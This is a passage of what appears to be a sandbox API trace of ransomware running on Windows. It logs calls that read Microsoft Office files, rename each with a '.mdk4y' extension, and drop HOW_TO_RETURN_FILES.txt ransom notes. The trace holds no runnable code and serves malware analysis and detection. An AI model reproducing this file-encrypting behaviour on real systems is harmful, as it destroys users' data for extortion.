lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x73c, lpOverlapped=0x0) returned 1 [0189.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826507200000) returned 1 [0189.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826507200000) returned 1 [0189.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css.mdk4y")) returned 1 [0189.843] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.843] AreFileApisANSI () returned 1 [0189.843] GetACP () returned 0x4e4 [0189.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TexturedBlue.css", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="TexturedBlue.cssse.css", lpUsedDefaultChar=0x37de34) returned 16 [0189.844] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826507400000) returned 1 [0189.844] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x727, lpOverlapped=0x0) returned 1 [0189.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826507700000) returned 1 [0189.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826507700000) returned 1 [0189.848] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css.mdk4y")) returned 1 [0189.848] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.848] AreFileApisANSI () returned 1 [0189.848] GetACP () returned 0x4e4 [0189.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VelvetRose.css", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VelvetRose.cssss", lpUsedDefaultChar=0x37de34) returned 14 [0189.848] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826507900000) returned 1 [0189.849] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x732, lpOverlapped=0x0) returned 1 [0189.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826513400000) returned 1 [0189.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826513400000) returned 1 [0189.904] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css.mdk4y")) returned 1 [0189.906] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0189.907] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0189.907] AreFileApisANSI () returned 1 [0189.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0189.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0189.908] GetFileType (hFile=0xe0) returned 0x1 [0189.909] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0189.909] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0189.909] AreFileApisANSI () returned 1 [0189.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0189.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0189.910] GetFileType (hFile=0xd8) returned 0x1 [0189.912] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.912] AreFileApisANSI () returned 1 [0189.912] GetACP () returned 0x4e4 [0189.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveIntlResource.dll", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GrooveIntlResource.dlle.xsn", lpUsedDefaultChar=0x37df4c) returned 22 [0189.912] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.912] AreFileApisANSI () returned 1 [0189.912] GetACP () returned 0x4e4 [0189.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GROOVE_COL.HXC", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GROOVE_COL.HXCurce.dll", lpUsedDefaultChar=0x37df4c) returned 14 [0189.912] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0189.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826514300000) returned 1 [0189.913] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x272, lpOverlapped=0x0) returned 1 [0189.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826516800000) returned 1 [0189.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826516800000) returned 1 [0189.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.mdk4y")) returned 1 [0189.940] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.940] AreFileApisANSI () returned 1 [0189.940] GetACP () returned 0x4e4 [0189.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GROOVE_COL.HXT", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GROOVE_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 14 [0189.940] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0189.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517000000) returned 1 [0189.940] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xda, lpOverlapped=0x0) returned 1 [0189.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517100000) returned 1 [0189.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517100000) returned 1 [0189.941] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.mdk4y")) returned 1 [0189.942] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.942] AreFileApisANSI () returned 1 [0189.942] GetACP () returned 0x4e4 [0189.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GROOVE_F_COL.HXK", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GROOVE_F_COL.HXKce.dll", lpUsedDefaultChar=0x37df4c) returned 16 [0189.942] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0189.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517200000) returned 1 [0189.943] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6f, lpOverlapped=0x0) returned 1 [0189.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517300000) returned 1 [0189.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517300000) returned 1 [0189.944] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.mdk4y")) returned 1 [0189.944] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.944] AreFileApisANSI () returned 1 [0189.944] GetACP () returned 0x4e4 [0189.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GROOVE_K_COL.HXK", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GROOVE_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 16 [0189.945] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0189.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517500000) returned 1 [0189.945] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6e, lpOverlapped=0x0) returned 1 [0189.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517600000) returned 1 [0189.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517600000) returned 1 [0189.946] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.mdk4y")) returned 1 [0189.947] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.947] AreFileApisANSI () returned 1 [0189.947] GetACP () returned 0x4e4 [0189.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HVAC.VSL", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HVAC.VSL_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 8 [0189.947] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0189.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517800000) returned 1 [0189.948] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8d68, lpOverlapped=0x0) returned 1 [0189.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826517900000) returned 1 [0189.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826518000000) returned 1 [0189.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.mdk4y")) returned 1 [0189.951] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.952] AreFileApisANSI () returned 1 [0189.952] GetACP () returned 0x4e4 [0189.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HVACDIFF.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HVACDIFF.VRD.HXK", lpUsedDefaultChar=0x37df4c) returned 12 [0189.952] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0189.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826518300000) returned 1 [0189.953] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x77f, lpOverlapped=0x0) returned 1 [0189.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826518400000) returned 1 [0189.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826518400000) returned 1 [0189.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.mdk4y")) returned 1 [0189.955] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.955] AreFileApisANSI () returned 1 [0189.955] GetACP () returned 0x4e4 [0189.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HVACDUCT.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HVACDUCT.VRD", lpUsedDefaultChar=0x37df4c) returned 12 [0189.955] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0189.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826518600000) returned 1 [0189.956] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x51d, lpOverlapped=0x0) returned 1 [0189.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826518700000) returned 1 [0189.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826518700000) returned 1 [0189.957] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.mdk4y")) returned 1 [0189.958] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0189.958] AreFileApisANSI () returned 1 [0189.958] GetACP () returned 0x4e4 [0189.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFINTL.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFINTL.DLLD", lpUsedDefaultChar=0x37df4c) returned 11 [0189.958] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0189.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826518900000) returned 1 [0189.959] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x75790, lpOverlapped=0x0) returned 1 [0190.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826524400000) returned 1 [0190.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826524400000) returned 1 [0190.018] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll.mdk4y")) returned 1 [0190.019] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.019] AreFileApisANSI () returned 1 [0190.019] GetACP () returned 0x4e4 [0190.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATH.HXS", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATH.HXS", lpUsedDefaultChar=0x37df4c) returned 12 [0190.020] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826525100000) returned 1 [0190.021] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0190.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826527700000) returned 1 [0190.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826527700000) returned 1 [0190.078] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.mdk4y")) returned 1 [0190.079] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.079] AreFileApisANSI () returned 1 [0190.079] GetACP () returned 0x4e4 [0190.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATHEDITOR.HXS", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATHEDITOR.HXS.dll", lpUsedDefaultChar=0x37df4c) returned 18 [0190.080] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826531000000) returned 1 [0190.080] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x697e2, lpOverlapped=0x0) returned 1 [0190.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826534900000) returned 1 [0190.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826534900000) returned 1 [0190.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.mdk4y")) returned 1 [0190.124] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.124] AreFileApisANSI () returned 1 [0190.124] GetACP () returned 0x4e4 [0190.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATHEDITOR_COL.HXC", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATHEDITOR_COL.HXC", lpUsedDefaultChar=0x37df4c) returned 22 [0190.124] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826535500000) returned 1 [0190.125] 